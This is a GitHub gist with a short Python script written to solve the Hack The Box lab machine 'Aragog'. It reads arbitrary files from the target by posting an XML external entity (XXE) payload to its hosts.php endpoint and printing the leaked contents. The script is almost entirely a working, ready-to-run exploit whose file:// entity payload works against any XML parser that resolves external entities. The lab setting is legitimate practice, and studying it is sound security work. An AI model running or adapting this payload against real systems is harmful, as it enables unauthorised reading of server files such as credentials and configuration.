Skip to content

Instantly share code, notes, and snippets.

@Ge0rg3
Created July 25, 2018 14:32
Show Gist options
  • Save Ge0rg3/05fbd20e88c4becc10f5152261b47bcb to your computer and use it in GitHub Desktop.
Save Ge0rg3/05fbd20e88c4becc10f5152261b47bcb to your computer and use it in GitHub Desktop.
A script to enumerate files through XXE in the Aragog box for HTB.
import requests as rq
import sys
filename = sys.argv[1]
url = "http://10.10.10.78/hosts.php"
data = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file://FD" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
""".replace("FD",filename)
print "Attempting with file " + filename +"\n#########\n"
r = rq.post(url, data=data)
print (r.text).split("for ")[1]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment